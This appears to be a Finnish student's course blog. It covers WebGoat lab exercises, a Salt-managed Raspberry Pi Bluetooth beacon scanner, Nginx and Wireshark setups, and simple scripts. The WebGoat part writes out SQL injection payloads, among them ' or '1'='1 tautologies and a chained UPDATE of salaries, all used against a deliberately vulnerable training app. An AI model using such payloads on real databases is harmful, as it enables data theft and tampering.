Asennan ensin päivitykset sekä java ja ufw. Sen jälkeen lataan ja ajan WebGoat 8 Java JAR paketin.

$ sudo apt update
$ sudo apt -y install openjdk-11-jre ufw
$ sudo ufw enable

$ wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M26/webgoat-server-8.0.0.M26.jar
$ java -jar webgoat-server-8.0.0.M26.jar

Avaan ja kirjaudun WebGoatiin. Ennen kuin aloitan WebGoatin käytön, varmistan, että virtuaalikoneeni ei ole verkossa.

c) Ratkaise WebGoatista tehtävät “HTTP Basics”, “Developer tools”, “CIA Triad” ja “A1 Injection (intro)”. Katso vinkit alta.

HTTP Basics – tässä tehtävässä tutkittiin HTTP-liikennettä, pääosin POST ja GET pyyntöjä. Tämä ei ollut kovin monimutkainen, sen jälkeen kun Developer Toolseja oli tullut jo aikaisemmin tutkittua.

Developer Tools – Tehtävä käy läpi developer toolsit Chromessa. Normaalisti käytän Chromea, mutta tällä koneella käytän Firefoxia, mutta tuntuu ihan hyvältä tutkia molempia. Ennen tätä kurssia olin käyttänyt developer toolseja ainoastaan html-projektissa pääosin debuggaamiseen, joten en ole vielä kovin nopea niiden käytössä, vaatii vielä vähän harjoittelua.

CIA Triad – confidentiality, integrity, availability. Tässä tehtävässä käydään läpi nämä kolme käsitettä ja lopuksi niistä quiz.

A1 Injection Intro – Tässä tehtävässä tutustutaan SQL injektioon. Tämä tehtävä oli haastavampi kuin edelliset, tai ainakin vei enemmän aikaa. Tämä johtui enimmäkseen siitä, että SQL taitoni olivat ilmeisesti ruostuneet, joten tarvitsin siihen pienen kertauksen. Ainakin syntaxi oli aluksi hieman hukassa. Injektiotehtävät olivat aika vaikeita ja jouduin tarkistamaan vihjeet sekä miettimään ja kokeilemaan ennen kuin sain tuloksia.

EDIT 6.4. Lisäsin kaikista tehtävistä kuvakaappaukset sekä tarvittaessa tarkemmat selitykset ratkaisusta.

Tehtävä 2 What is SQL?

Tehtävä 3 DML

Tehtävä 4 DDL

Tehtävä 5 DCL

Tehtävä 9 String SQL Injection

Lause 1 = 1 on aina tosi, eli tämä antaa seuraavan kyselyn:

“SELECT * FROM user_data WHERE first_name = ‘John’ AND last_name = ‘ ‘ or ‘1’ = ‘1’ “;

Tehtävä 10 Numeric SQL Injection

Aivan kuten edellisessä tehtävässä, tässä käytän lausetta 1 = 1, joka on aina tosi. Nollan voisi periaatteessa korvata ihan millä tahansa numerolla, sillä ei ole merkitystä. Hipsuja tässä ei vissin tarvinnut käyttää, sillä kenttä ei pyydä stringiä.

Tehtävässä avusti vihjeet, joiden avulla pystyi selvittämään mihin kenttään injektiota voi syöttää.

Tehtävä 11 Compromising confidentiality with String SQL injection

Tässäkin tehtävässä hyödynnän OR ‘1’ = ‘1, joka on aina tosi. Tässä tehtävässä vaikein oli täyttää employee name kenttää, sillä en halunnut tietenkään rajata sitä mitenkään. Käyttämäni metodi, eli syötän kentän vain hipsun ‘ , kenttä jää tavallaan tyhjäksi.

Seuraavat tehtävät en ollut ratkonnut ennen tuntia, mutta koitan nyt uudelleen tunneilla saatujen vihjeiden avulla.

En saanut viimeisiä tehtäviä tehtyä onnistuneesti, näissä oli molemmissa query chaining, eli tämä näköjään vaatii minulta hieman syvempää tutkiskelua.

Tehtävä 12 Compromising Integrity with Query chaining

Tämä tehtävä kesti kauan ratkoa, keksin aika nopeasti lauseen millä sen sai tehtyä, mutta nuo merkit ovat todella vaikeita. Yritin todella pitkään jotain tämä tyyppistä ” 3SL99′; UPDATE employees SET salary=90000 WHERE last_name=’Smith’; ” ennen kuin keksin poistaa viimeiset merkit ‘;.

Tehtävä 13 Compromising Availability

Tämäkin oli vaikea, ja sain sen toimimaan ainoastaan kommenttimerkeillä — , joista oli puhetta tunnilla. En kuitenkaan oikein ymmärrä miten kommenttimerkit ovat tässä olennaisia…

Itseopiskelu:

Santos et al: The Art of Hacking (Video Collection):

  • Security Penetration Testing
    • Lesson 1: Overview of Ethical Hacking and Penetration Testing
    • Lesson 2: Kali Linux
    • Lesson 3: Passive Reconnaissance
  • Hacking Web Applications
    • Lesson 3: Build your own Web Application Lab

Materiaalit:

ROT13 https://en.wikipedia.org/wiki/ROT13 + https://rot13.com/

Dekoodaaja https://www.base64decode.org/

Kali asennus https://www.kali.org/downloads/ + https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/

Kali Tools https://tools.kali.org/tools-listing

Kali Training by Offensive security https://kali.training/

Nmap https://nmap.org/book/port-scanning-tutorial.html

OWASP WebGoat https://owasp.org/www-project-webgoat/

OWASP 10 2017 (pdf)

https://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target/

7. Oma moduuli – Bluetooth skanneri saltilla

Omassa moduulissani tavoitteena on asentaa Rasberry Pi laitteelle työkaluja, jolla voi onnistuneesti skannata ympäristössä olevia Bluetooth laitteella. Koska kyseessä on Rasberry Pi, haluan luonnollisesti pystyä hallitsemaan sitä etänä, ilman, että tarvitsee kytkeä näyttöä ym laitteita. Haluan toteuttaa tämän toimenpiteen Saltilla, jotta voin helposti hallita laitetta etänä mutta myös, jotta voin kätevästi toistaa toimenpiteet useammalla laitteella kerralla. Tämä sitä varten, että haluaisin rakentaa muutamalla tai useammalla raspberry pi-laitteilla ympäristön, jossa voisi seurata bluetooth laitteiden liikkeitä.

Vaihe 1. Asennan Rasbian Lite Rasberry Pi:lle.

Hyödynnän ohjetta sivulla https://projects.raspberrypi.org/en/projects/raspberry-pi-setting-up

Lataan Rasperry Pi imagerin, jonka avulla asennan Rasbian Lite SD-kortille.

Käynnistän raspberry pin ja aivan ensimmäiseksi vaihdan salasanaa, ja konfiguroin näppäimistön, aikavyöhykkeen sekä verkkoyhteyden. Lisäksi muutan hostnamen omaksi “raspi-skanneri” ja päivitän.

$ sudo raspi-config
$ sudo apt update

Seuraavaksi asennan ufw palomuurin ja asetan sillä säännöt, sallin ssh:n sekä saltin.

$ sudo apt install ufw
$ sudo ufw allow openssh
$ sudo ufw allow 4505
$ sudo ufw allow 4506
$ sudo ufw enable

Nyt voin kytkeä pois ylimääräiset laitteet raspista, ja jatkaa asentamista ssh:n avulla.

Vaihe 2. Asennan bluetooth skannauksen työkalut käsin

Hyödynnän menetelmiä sivuilla https://github.com/citruz/beacontools ja https://pypi.org/project/beacontools/

Asennan tällä kertaa työkalut ensin käsin raspille, sillä se on kuitenkin laite, jolla on tarkoitus tehdä skannaus.

Teen seuraavat toimenpiteet.

#1 install libbluetooth headers and libpcap2
$ sudo apt-get install python3-dev libbluetooth-dev libcap2-bin

#2 grant the python executable permission to access raw socket data
$ sudo setcap 'cap_net_raw,cap_net_admin+eip' "$(readlink -f "$(which python3)")"

#3 install beacontools with scanning support
$ pip3 install beacontools[scan]

Ensimmäisen asennuksen yhteydessä sain ilmoituksen, että libcap2-bin on jo asennettu.

Kolmas asennus epäonnistui virheellä pip3: command not found. Tutkittuani hieman asiaa totesin, että pip ei ole oletusasetus Rasbian Litessa ja muutenkin monet python paketit saattavat olla vanhentuneita. Lähde: https://www.raspberrypi.org/documentation/linux/software/python.md

Joten asennan siis erikseen pip.

#3 install pip on rasbian lite
$ sudo apt install python3-pip

#4 install beacontools with scanning support
$ pip3 install beacontools[scan]

Tarkistan toimenpiteiden jälkeen muuttuneet tiedostot komennolla $sudo find -printf ‘%T+ %p\n’|sort|tail.

Ensimmäisen asennuksen jälkeen /etc/-ssä ei löydy ollenkaan muuttuneita tiedostoja, joten tarkistan myös /usr/local/bin. Sielläkään ei löydy muuttuneita tiedostoja, joten asia vaikeutuu…

Ainoat muuttuneet tai lisätyt tiedostot joita löydän on sijainnissa home/pi/.local/bin tiedostot futurize ja pasteurize, jotka liittyvät beacontools kirjastoon.

En välttämättä tarvitse kuitenkaan konfiguraatiotiedostoja, joten siirryn eteenpäin.

Seuraavaksi luon skannausta varten skriptin. Lähde https://github.com/citruz/beacontools ja https://pypi.org/project/beacontools/

#!/usr/bin/python3

import time 
from beacontools import BeaconScanner, EddystoneTLMFrame, EddystoneFilter, EddystoneUIDFrame, EddystoneURLFrame

def callback(bt_addr, rssi, packet, additional_info): 
    print("<%s, %d> %s %s" % (bt_addr, rssi, packet, additional_info))
 
#scan for all TLM frames of beacons in the namespace "xx"
scanner = BeaconScanner(callback, 
        packet_filter=[EddystoneTLMFrame, EddystoneUIDFrame],  
) 
scanner.start() 
print("Scan started") 
time.sleep(10) 
scanner.stop() 
print("Scan stopped") 

Skanneri ei kuitenkaan pyöri, vaan ilmoitti virheestä ModuleNotFoundError: No module named ‘bluetooth’.

Testaan tässä välissä dokumentaatiossa mainittua toistaa skanneri-menetelmää.

#!/usr/bin/python3

import time
from beacontools import BeaconScanner, IBeaconFilter

def callback(bt_addr, rssi, packet, additional_info):
    print("<%s, %d> %s %s" % (bt_addr, rssi, packet, additional_info))

scanner = BeaconScanner(callback,
    packet_filter=IBeaconAdvertisement
)
scanner.start()
print("Scan started") 
time.sleep(10) 
scanner.stop() 
print("Scan stopped") 

Tämä virhe oli helppo korjata, ilmeisesti tuossa ohjeessa on unohdettu importata iBeaconAdvertisement. Korjauksen jälkeen saan ilmoituksen samasta virheestä kuin toinenkin skripti.

Tutkiskelin asiaa ja huomasin, että skanneri vaati myös BlueZ työkalun, joten asennan vielä sen. Lähde: https://stackoverflow.com/questions/23985163/python3-error-no-module-named-bluetooth-on-linux-mint

#5 install bluez
$ python3 -m pip install pybluez

Tämän jälkeen molemmat skanner skriptit toimivat!

Päätän kuitenkin edetä iBeacon-skannerilla, sillä se näköjään löytää laitteet paremmin kuin eddystone.

Vaihdan skriptin nimen scanner_ibeaconista scanneriksi. Kopion skriptin /usr/local/bin/ hakemistoon jotta voin ajaa sen ohjelmana, ja päivitän oikeudet. Eli kaikilla käyttäjillä read+execute oikeudet ja omistajalla, eli rootilla myös write oikeudet.

$ sudo cp scanner /usr/local/bin/
$ sudo chmod ugo+x scanner

Testaan myös, että skripti käynnistyy pelkällä “scanner” komennolla. Tämä ei ole tälle projektille välttämätöntä, sillä tarkoitus on kuitenkin käynnistää skanneria salt-tilan avulla, mutta se on kivempi ja selkeämpi testata, ja lisäksi /usr/local/bin on yhteinen hakemisto.

Vaihe 3. Salt

Ensimmäiseksi luon master-slave yhteyden. Käytän tässä samaa master-konetta minkä olen käyttänyt kurssin muissa harjoituksissa. Koska se on jo käynnissä, aloitan setupin raspista, josta tulee uusin minion.

$ sudo apt install salt-minion
$ sudoedit /etc/salt/minion
$ sudo systemctl restart salt-minion.service

Master-koneella hyväksyn uuden minionin.

Seuraavaksi siirryn luomaan Salt-tiloja. Päätän selkeyden vuoksi luoda useampi tila, jotta voin tehdä kätevämmin muutoksia skriptiin sekä skannata.

Aloitan setupista. Kerään käsin tehdyt asennusvaiheet:

#1 install libbluetooth headers and libpcap2
$ sudo apt-get install python3-dev libbluetooth-dev libcap2-bin

#2 grant the python executable permission to access raw socket data
$ sudo setcap 'cap_net_raw,cap_net_admin+eip' "$(readlink -f "$(which python3)")"

#3 install pip on rasbian lite
$ sudo apt install python3-pip

#4 install beacontools with scanning support
$ pip3 install beacontools[scan]

#5 install bluez
$ python3 -m pip install pybluez

Ensin lisään pkg.installed moduulilla apt installilla asennetut paketit. Libcap2-bin oli ilmeisesti jo ennestään asennettu, mutta listaan sen selkeyden vuoksi kuitenkin.

Seuraavaksi tutkin dokumentaatiosta https://docs.saltstack.com/en/latest/ref/states/all/salt.states.pip_state.html#salt.states.pip_state.installed miten saan pipin avulla asennetut paketit ja lisään pip-moduulin. Lisäksi lisään cmd.run moduulin, joka antaa python ohjelmilla oikeudet socket dataan https://github.com/rabits/salt-stack-modules/blob/master/openvpn/server.sls.

/srv/salt/scan-setup/init.sls

install packages:
   pkg.installed:
    - pkgs:
      - python3-dev
      - libbluetooth-dev
      - libcap2-bin
      - python3-pip

install python packages:
  pip.installed:
    - pkgs:
      - pybluez
      - beacontools[scan]

setcap 'cap_net_raw,cap_net_admin+eip' "$(readlink -f "$(which python3)")":
  cmd.run

Seuraavaksi luon tilan scan-script. Create-argumentilla varmistan, että uusi tiedosto luodaan, mikäli sellaista ei ole ennestään ja replace-argumentilla varmistan, että olemassa oleva tiedosto korvataan päivitetyllä.

/srv/salt/scan-script/init.sls

/usr/local/bin/scanner:
  file.managed:
    - source: salt://scan-script/scanner
    - mode: 755
    - create: True
    - replace: True

Lopuksi muokkaan scan-scan tilan. Require-argumentilla haluan varmistaa, että skripti on olemassa. Argumentti voisi sisältää myös listan setupin paketeista.

/srv/salt/scan-scan/init.sls

/usr/local/bin/scanner:
  cmd.run
    - require:
      - file: /usr/local/bin/scanner

Skannaamisesta ei ole välttämätöntä tehdä tila, vaan skriptin saa käyntiin myös ad-hoc komennolla

$ sudo salt 'raspi-skanneri' cmd.run scanner

Vaihe 4. Testaaminen

Ajan tilat yksitellen ja tarkistan tulokset.

Scan-setup tila näyttää osittain hyvältä, mutta hieman huolestuttaa pip-moduuli joka nähtävästi on asentanut uutta, vaikka kaikki nämä osat olisi pitänyt olla jo asennettuna.

Scan-script tila ei olisi myöskään pitänyt aiheuttaa muutoksia, mutta näyttää kuitenkin siltä, että kyseessä oli vain jotain pieniä eroavaisuuksia rivien väleissä, joten hyvältä näyttää.

Scan-scan tila palauttaa virheen, ilmeisesti tuo require-argumentti oli tässä turhaa hifistelyä, eikä toimi odotetulla tavalla. Poistan siis sen osan ja ajan tilan uudelleen.

Kaikki näyttäisi toimivan.

Seuraavaksi asennan raspin uudelleen ja ajan tilat puhtaalta pöydältä.

Toistan vaiheessa 1 tehdyt peruskonfiguraatiot raspille ja teen salt-minion setupit sekä uusin master-slave yhteyden.

Seuraavaksi testaan tilat uudestaan.

$ sudo salt 'raspi-skanneri' state.apply scan-setup
$ sudo salt 'raspi-skanneri' state.apply scan-script
$ sudo salt 'raspi-skanneri' state.apply scan-scan
# tai
$ sudo salt 'raspi-skanneri' cmd.run scanner

Projekti on onnistunut!

Jatkokehityksenä olisi kiva kytkeä tilat yhteen, siten, että ovat riippuvaisia toisistaan. Eli esim. ajamalla pelkän scan-scan tilan saisi samalla käynnistettyä myös setup ja script tilat. Olen kuitenkin edelleen sitä mieltä, että nämä on hyvä pitää erillään, sillä esim. skriptiä haluaa varmaankin muokata, jolloin sen voisi kätevästi päivittää yksin.

Materiaalit:

Raspberry Pi setup https://projects.raspberrypi.org/en/projects/raspberry-pi-setting-up

Bluetooth scanning https://github.com/citruz/beacontools https://pypi.org/project/beacontools/

https://www.raspberrypi.org/documentation/linux/software/python.md

https://stackoverflow.com/questions/23985163/python3-error-no-module-named-bluetooth-on-linux-mint

Salt https://docs.saltstack.com/en/latest/ref/states/all/salt.states.pip_state.html#salt.states.pip_state.installed

https://github.com/rabits/salt-stack-modules/blob/master/openvpn/server.sls.

6. moottorix

a) Asenna Nginx Saltilla. Tee tarvittavat asetukset, jotta Nginx näyttää weppisivua.

Käytän ohjeita sivuilla https://ubuntu.com/tutorials/install-and-configure-nginx#1-overview ja https://www.digitalocean.com/community/tutorials/how-to-install-nginx-on-ubuntu-18-04

Vaihe 1. Asennan nginxän ensin käsin

$ sudo apt update
$ sudo apt install nginx

Testi kuitenkin näyttää aikaisemmassa tehtävässä asennettua apachen muokattua etusivua…

Johtuu ilmeisesti ainakin siitä, että nginx ei ole käynnissä

‘

Käynnistäminen ei kuitenkaan myöskään toimi. Mahdollisesti johtuu siitä, että apache on jo käynnissä ja sotkee asiat.

Stoppaan apachen ja starttaan nginx:än.

En pääse kuitenkaan vieläkään nginx:än default sivulle. Nginx käyttää näköjään samaa index.html tiedostoa kuin apache, joten tämä on syy.

Tässä voisi esimerkiksi poistaa Apachen kokonaan (senhän saa helposti salt-tilan avulla uudelleen asennettuna jos haluaa). Poistan siis Apachen.

$ sudo apt purge apache2

Tämä ei kuitenkaan poista tuota index.html sivua. Poistamalla index.html tiedoston, saan esille nginx vakiosivun.

Seuraavaksi haluan lisätä oman sivun, joka toimii localhostin aloitussivuna. En halua kuitenkaan, että se on index.html sivu, sillä haluan, että jokainen käyttäjä voisi itse muokata haluamansa sivua. Tarkastelen nginxän tiedostoja.

Luon tiedoston example.html sijaintiin /etc/skel/, josta se latautuu kaikkien käyttäjien kotihakemistoon.

Lisään /etc/nginx/sites-available/ kansioon uuden tiedoston example.

Lisään /etc/nginx/sites-enabled/ kansioon symlinkin example-tiedostoon.

Poistan symlinkin default-configuratioon ja lisään uuden test-käyttäjän, jotta saan /etc/skel -tiedostot ladattua.

Nyt nginx ei kuitenkaan löydä mitään aloitussivua… Tutkin hieman dokumentaatiota ja nginxän man sivuja, ja teen korjauksen /etc/nginx/sites-available/example-tiedostoon.

Nyt sivu näkyy halutulla tavalla.

Tällä konfiguraatiolla nginx etsii eloitussivun /etc/skel kansiosta, enkä keksi mitään tapaa millä saisi muutettua sitä hakemaan tiedostoa käyttäjän kotihakemistosta. Saan sen onnistumaan ainoastaan sillä, että vaihdan /etc/skel käyttäjän kotihakemiston polkuun, mikä ei onnistu eri käyttäjille.

Päätän kuitenkin edetä tällä konfiguraatiolla, sillä tärkeintä tässä on kuitenkin harjoitella saltia.

Vaihe 2. Salt

Luon uuden salt-tilan, johon kopion edellisessä vaiheessa luodut ja muokatut tiedostot.

/srv/salt/nginx/init.sls

nginx:
  pkg.installed

/etc/skel/example.html:
   file.managed:
     - source: salt://nginx/example.html

/etc/nginx/sites-available/example:
  file.managed:
    - source: salt://nginx/example

/etc/nginx/sites-enabled/example:
  file.symlink:
    - target: /etc/nginx/sites-available/example

Huomasin tässä kuitenkin, että kaksi tiedostoista ovat nimettu exampleiksi… joten nimeän toisen uudelleen ja korjaan nimen myös init.sls tiedostoon.

Kun yritin muokata init.sls tiedostoa tajusin, että eihän tuota symlinkkiä tarvitse kopioida salt-tilaan, eli tein ihan turhan vaiheen.

Nyt kun tunnen olevani salt-tilaan tyytyväinen, poistan nginxän ja käynnistän salt-tilan.

Aluksi tila tyssäsi typoon, joten korjasin pilkun pisteeksi. Sen jälkeen tyssäsi puuttuneisiin parent-directoreihin. Ongelma korjaantunee kun tilan ajan uudestaan, sillä käsittääkseni hakemistot luodaan nginx än asennuksen yhteydessä…

Olin kuitenkin väärässä…joten tutkin hakemistot tarkemmin.

Näköjään puuttuva hakemisto onkin /etc/nginx…

Täysi mysteeri miksi tuota hakemisto ei luoda paketin asennuksen yhteydessä, testaan myös minion2, ja sillä toimii ongelmitta.

Minion2:lla on kuitenkin vielä apache, joten localhost etsii sen sivun…

Teen vielä salt-tilaan hieman muutoksia, eli poistan apachen, jos se on asennettu sekä poistan /var/www/html/index.html-tiedoston, jos sellaista on. Lisäksi käynnistän nginx daemonin lopuksi uudelleen. Apachen poistamisen tilalle voisi käyttää service.dead funktiota, joka pysäyttää daemonin.

/srv/salt/nginx/init.sls

nginx:
  pkg.installed

apache2:
  pkg.removed

/var/www/html/index.html:
  file.absent

/etc/skel/example.html:
  file.managed:
    - source: salt://nginx/example.html

/etc/nginx/sites-available/example:
  file.managed:
    - source: salt://nginx/example

/etc/nginx/sites-enabled/example:
  file.symlink:
    - target: /etc/nginx/sites-available/example

nginx.service:
  service.running:
    - reload: True
    - enable: True

Ajan tilan näillä muutoksilla uudelleen.

Hieman edistystä, mutta vielä pitäisi saada oma tiedosto nginx default tiedoston tilalle. Teen lisäyksen init.sls tiedostoon, jossa poistan default symlinkin.

Tämä toimii, mutta vaatii vielä, daemon käynnistetään uudelleen. Ilmeisesti reload: True komento ei tee tätä, vaan ainoastaan huolehtii siitä, että daemoni on jo käynnissä ja restartaa jos ei ole. Saltin dokumentaatiosta en löytänyt mitään muita vaihtoehtoja.

$ sudo systemctl restart nginx.service 

b) Tee Nginx:n Saltilla jokin muukin asetus tai uusi ominaisuus.

Ensin tutkin hieman mitä asetuksia tai ominaisuuksia Nginxään voisi konfiguroida, tähän käytän apuna sivun http://nginx.org/en/docs/beginners_guide.html

Päätän konfiguroida Nginxän proxyserveriksi.

One of the frequent uses of nginx is setting it up as a proxy server, which means a server that receives requests, passes them to the proxied servers, retrieves responses from them, and sends them to the clients.

http://nginx.org/en/docs/beginners_guide.html

Aivan ensimmäiseksi totean, että nginx ei jostain syystä toimi minion1:llä (joka on master-koneella). Arvelen, että tämä johtuu siitä, että poistin manuaalisesti nginx:än tiedostot ($ sudo rm -r /etc/nginx/) ennen salt-tilan ajoa… Tämä ei olisi näköjään kannattanut tehdä, sillä paketin asennus ei ilmeisesti tuo näitä tiedostoja takaisin. Minion2:lla, joka on eri koneella, nginx taas toimii täydellisesti.

Koska olin noin viikko sitten tehnyt tallentanut koneesta snapshotin virtualboxiin, päätän tässä vaiheessa palauttaa kone siihen.

Palautuksen jälkeen luon salt tilan uudelleen, ja ajan sen osissa.

Asennus onnistui ja tiedostot latautuivat onnistuneesti.

Seuraavaksi luon uudelleen tiedostot /etc/skel/example.html ja /etc/nginx/sites-available/example ja kopioin ne salt-tilan hakemistoon. Käyn vielä muokkaamaassa init.sls tiedostoa, niin, että saan ajettua kaikki komennot. Ja ajan tilan kokonaisuudessaan.

Hyvältä näyttää

Ongelmaksi jää edelleen tuo service.running, jolla en saa reloadattua nginxää.

Noniin, eli nyt voin sitten keskittyä tehtävään.

Muutoksena lisään server-blokin, joka lisää proxypalvelimen. Tässä tapauksessa sama palvelin toimii proxyna. Lisään siis edellisessä tehtävässä tehtyyn example tiedostoon (/etc/nginx/sites-available/example) uuden server-blokin.

server {
       listen 80;
       listen [::]:80;

       root /etc/skel/;
       index index.html index.htm index.nginx-debian-html example.html; 
    
       server_name example.com www.example.com;

       location / {            
               try_files $uri $uri/ =404;    }
}

server {
       listen 8080;
       root /etc/skel;

       location / {    }
}

Luon lisäksi hakemistoon /etc/skel uuden tiedoston nimeltä index.html, jonka proxy palvelin hakee.

Testaan näkymää

Kopion sekä uuden index.html tiedoston että muokatun example tiedoston salt-tilaani.

Teen tarvittavat muutokset init.sls tiedostoon, jotta orjaankin lisätään uudet tiedostot. Samalla lisään watch-komennon, jotta nginxää käynnistetään uudestaan jos example tiedosto muuttuu.

Seuraavaksi testaan, eli ajan nginx tilan molemmille minioneille.

$ sudo salt '*' state.apply nginx
Hyvältä näyttää

Minion2:lla konfiguraatio ei kuitenkaan toimi, vaan proxy sivu näkyy localhostina ja 404 Not Found proxyn sivuna.

Veikkaan, että syynä on index.html, joka on siis default konfiguraation aloitussivu. Eli vaihdan sen nimeksi proxy.html.

Muokkaan myös example tiedostoa.

Se ei kuitenkaan auttanut.

Muokkaan uudestaan konfiguraatiotiedostoa.

Nginxän restartin jälkeen toimii kuten haluan.

Lisään muutetut tiedostot taas salt-tilaan ja poistan index.html tiedoston.

Muokkaan init.sls tiedostoa.

En kuitenkaan saa sivuja toimimaan oikein minion2:lla. Tässä vaiheessa luovutan, sillä pitää ehtiä tehdä vielä seuraava tehtävä.

c) Asenna jokin työpöytä- tai komentoriviohjelma asetuksineen Saltilla.

Päätän asentaa Wiresharkia, sillä se on jokseenkin tuttu työkalu. Tutkin ensin minkälaisia asetuksia siihen voisi tehdä.

Wireshark is a network packet analyzer. A network packet analyzer presents captured packet data in as much detail as possible.

https://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html#ChIntroWhatIs

Vaihe 1. Asennan ohjelman ensin käsin

$ sudo apt install wireshark

Capturing requires privileges
By installing Wireshark packages non-root users won’t gain rights automatically to capture packets. To allow non-root users to capture packets follow the procedure described in /usr/share/doc/wireshark-common/README.Debian
https://www.wireshark.org/docs/wsug_html_chunked/ChBuildInstallUnixInstallBins.html#_installing_from_debs_under_debian_ubuntu_and_other_debian_derivatives
Valitsen tässä vaiheessa <No> sillä haluan tutkia asiaa ensin tarkemmin

Tutkin asennetut tiedostot

Muutan alussa esitetyn kysymyksen vastauksen “Yes”:ksi, eli haluan, että myös tavalliset käyttäjät pystyvät tutkimaan paketteja Wiresharkilla. Tähän käytän sivulla https://osqa-ask.wireshark.org/questions/7976/wireshark-setup-linux-for-nonroot-user löytyneet apu-ohjeet.

$ sudo dpkg-reconfigure wireshark-common
$ sudo usermod -a -G wireshark $USER
$ newgrp wireshark

Haluan saada tämän toimimaan myös muilla koneilla, ja aloitan sen vaiheittain. Ensimmäisen vaiheen uskon löytäneeni init.lua tiedostossa hakemistossa /etc/wireshark.

Vaihe 2. Salt

Luon uutta tilaa varten oman hakemiston /srv/salt/wireshark sekä init.sls tiedoston.

Ajaessani tilan, tuo file.managed luonnollisesti epäonnistuu, sillä tuo hakemisto luodaan vasta paketin asennuksen yhteydessä. Joka tapauksessa huomaan, että ilman muokkattua init.lua tiedostoa, wireshark toimii jo tavallisena käyttäjänä. Paketin asennuksessa kone osaa ilmeisesti valita default vastaukset kun asennus tehdään tällä tavalla automatisoituna. Eli käytännössä koko ideani asetuksista oli täysin hyödytön.

Tämän jälkeen yritin vielä muutaman tunnin selailla wiresharkin dokumentaatiota, ja tiedostoja sekä testata erilaisia toimintoja, mutta en löytänyt millään mitään muokattavaa asetusta. Kokeilin esim lisätä omia profileja, mutta en löytänyt tiedostoa, johon nämä tallentuivat.

Monen tunnin tutkimusten jälkeen päätin luovuttaa tässä vaiheessa. Sain kuitenkin wiresharkin asennettuna ja toimimaan nonroot käyttäjänä, minkä alun perin halusinkin, vaikka se olikin aivan liian helppoa.

Lähteet:

Tehtävät: http://terokarvinen.com/2020/configuration-management-systems-palvelinten-hallinta-ict4tn022-autumn-2020/

Nginx asennus: https://ubuntu.com/tutorials/install-and-configure-nginx#1-overview

https://www.digitalocean.com/community/tutorials/how-to-install-nginx-on-ubuntu-18-04

http://nginx.org/en/docs/beginners_guide.html

Wireshark: https://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html#ChIntroWhatIs

5. Uusi komento

a) Hei komento! Tee järjestelmään uusi “hei maailma” -komento ja asenna se orjille Saltilla. Liitä raporttiisi ‘ls -l /usr/local/bin/’ tulosteesta ainakin se rivi, jolla näkyy uuden komentotiedostosi oikeudet. Vinkkejä: tee shell script, joka tulostaa “hei maailma”. Kokeile ensin käsin, sitten automatisoi. Luonteva paikka paketinhalllinnan ulkopuolelta asennetuille ohjelmille on /usr/local/bin/. Katso myös ‘salt-call –local sys.state_doc file.managed’. Muista (aina ja kaikessa mitä teet tietokoneella) testata lopputulos. Hyvä testi on mahdollisimman lähellä sitä, mitä käyttäjä tekisi.

Ensimmäiseksi luon uuden komentotiedoston nimeltä hello, jonka kopioin sijaintiin /usr/local/bin/. Varmistan, että tiedoston oikeudet ovat sopivat, jotta kaikki näkee ja pystyy ajamaan tiedoston mutta ainoastaan omistaja (root) pystyy tekemään muutoksia.

#!/bin/bash
echo hello world, what is out there?
$ sudo cp /home/master/hello /usr/local/bin/
$ sudo chmod ugo+rx /usr/local/bin/hello

Testaan, että skripti toimii pelkällä hello-komennolla.

Koska minulla on jo aikaisemmasta tehtävästä hello-tila, tein nyt uuden salt tilan nimellä hellosh, joka sisältää hei maailma shell scriptin. Kopion myös tiedoston /usr/local/bin/hello hellosh-tilaan.

$ sudo mkdir /srv/salt/hellosh
$ sudoedit /srv/salt/hellosh/init.sls
/usr/local/bin/hello:
   file.managed:
     - source: salt://hellosh/hello
     - mode: 755
$ sudo cp /usr/local/bin/hello /srv/salt/hellosh/

Ajan tilan minioneille ja testaan, että komento toimii minion2:lle (eri kone). Tarkistan myös uuden tiedoston oikeudet.

sudo salt '*' state.apply hellosh

Onnistui ilman ongelmia!

b) whatsup.sh. Tee järjestelmään uusi komento, joka kertoo ajankohtaisia tietoja; asenna se orjille. Vinkkejä: Voit näyttää valintasi mukaan esimerkiksi päivämäärää, säätä, tietoja koneesta, verkon tilanteesta…

Aloitan taas luomalla tiedoston komennolle. Kokeilen luonnollisesti komennot, jotta tiedän mitä haluan niillä tehdä/näyttää Kun tiedosto on valmis, kopion sen /usr/local/bin/ hakemistoon ja varmistan oikeudet (-rwxr-xr-x/755). Lopuksi testaan, että skripti toimii halutulla tavalla.

whatsup
#!/bin/bash

echo date and time
date

echo machine info
hostnamectl

echo network info
netstat -at
$ sudo cp /home/master/whatsup /usr/local/bin/
$ sudo chmod ugo+rx /usr/local/bin/whatsup

Tämän jälkeen luon uuden salt tilan ja init.sls-tiedoston, johon kopion edellisessä vaiheessa luodun komentotiedoston.

$ sudo mkdir /srv/salt/whatsup
$ sudoedit /srv/salt/whatsup/init.sls
/usr/local/bin/whatsup:
   file.managed:
     - source: salt://whatsup/whatsup
     - mode: 755
$ sudo cp /usr/local/bin/whatsup /srv/salt/whatsup/

Ajan tilan minioneille ja testaan, että komento toimii.

sudo salt '*' state.apply whatsup
Tilan ajaminen onnistui
Testattu toimivaksi

c) hello.py. Tee järjestelmään uusi komento Pythonilla ja asenna se orjille. Vinkkejä: Hei maailma riittää, mutta propellihatut saavat toki koodaillakin. Shebang on “#!/usr/bin/python3”. Helpoin Python-komento on: print(“Hei Tero!”)

Taas kerran aloitan luomalla itse skripti, tällä kertaa python-skripti. Kopion sen /usr/local/bin/ hakemistoon ja päivitän oikeudet. Testaan, että toimii.

#!/usr/bin/python3

name = input('What is your name?\n')
print('Hello' + name)
$ sudo cp /home/master/hello.py /usr/local/bin/
$ sudo chmod ugo+rx /usr/local/bin/hello.py

Seuraavaksi luon salt-tilan pyscript ja init.sls tiedoston sekä kopion skriptitiedoston sinne.

/srv/salt/pyscript/init.sls

/usr/local/bin/hello.py:
   file.managed:
     - source: salt://pyscript/hello.py
     - mode: 755
$ sudo cp /usr/local/bin/hello.py /srv/salt/pyscript/

Ajan tilan minioneille ja testaan skriptin taas minion2:lla.

$ sudo salt '*' state.apply pyscript

Onnistunut harjoitus!

